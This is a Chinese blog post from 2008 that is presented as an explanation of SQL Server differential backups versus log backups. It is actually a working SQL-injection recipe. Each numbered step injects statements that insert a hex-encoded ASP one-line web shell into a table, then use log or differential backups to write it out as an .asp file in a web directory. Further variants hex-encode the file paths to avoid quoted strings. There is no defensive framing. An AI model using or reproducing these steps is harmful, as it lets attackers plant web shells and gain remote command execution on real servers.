数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



差异备份和log备份的详细分别
樱木花盗 发表于 2008-11-20 11:45:47

http://hi.baidu.com/sci4nce/blog/item/95d5e765154f57f7f7365424.html

(日志/LOG备份)
1.alter database xxxx set RECOVERY FULL--
2.create table cmd(a image)--
3.backup log xxxx to disk = 'f:\cmd' with init--
4.insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E)--
5.backup log xxxx to disk = '备份路径'--

<%execute(request("a"))%>=hex(0x3C25657865637574652872657175657374282261222929253E)

(不用字符串的日志/LOG备份)

1.alter database 库名 set RECOVERY FULL--

2.create table cmd(a image)--

3.declare @a sysname,@s nvarchar(4000) select @a=db_name (),@s=0x63003A002F0077006F006B0061006F002E00620061006B00 backup log @a to disk=@s with init--

4.insert into cmd(a) values(0x3C25657865637574652872657175657374282261222929253E)--


5.declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003A005C007A00780063007600730064006400640064002E00610073007000 backup database @a to disk=@s WITH initL--

6.drop table cmd--

c:/wokao.bak=hex32(0x63003A002F0077006F006B0061006F002E00620061006B00)

c:\zxcvsdddd.asp=hex32(0x63003A005C007A00780063007600730064006400640064002E00610073007000)

#############################   强大大分线 ####################################

除非已经先备份了数据库,否则不能创建差异数据库备份

(用字符串的差异备份)
1.完整备份一次(保存位置当然可以改)
   backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
   create table [dbo].[dtest] ([cmd] [image]);--
3.向表中插入一句话(<%execute(request("a"))%>)
   insert into dtest(cmd) values(<%execute(request("a"))%>);--
4.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

(不用字符串的差异备份)
                               
nvarchar:unicode字符型,这里已经声明了nvarchar,nvarchar是unicode字符,Unicode使用16位的编码空间。也就是每个字符占用2个字节。比如:a转换为长的16进制为0x6100
                                                        
1.declare @a sysname,@s nvarchar(4000) select @a=db_name (),@s=0x63003A002F0077006F006B0061006F002E00620061006B00 backup database @a to disk=@s

2.create table [dbo].[xiaolu] ([cmd] [image])

3.insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4.declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003A005C007A00780063007600730064006400640064002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

c:/wokao.bak=hex32(0x63003A002F0077006F006B0061006F002E00620061006B00)

c:\zxcvsdddd.asp=hex32(0x63003A005C007A00780063007600730064006400640064002E00610073007000)

为什么那么多人分不清差异备份和log备份!!


阅读全文 | 回复(1) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.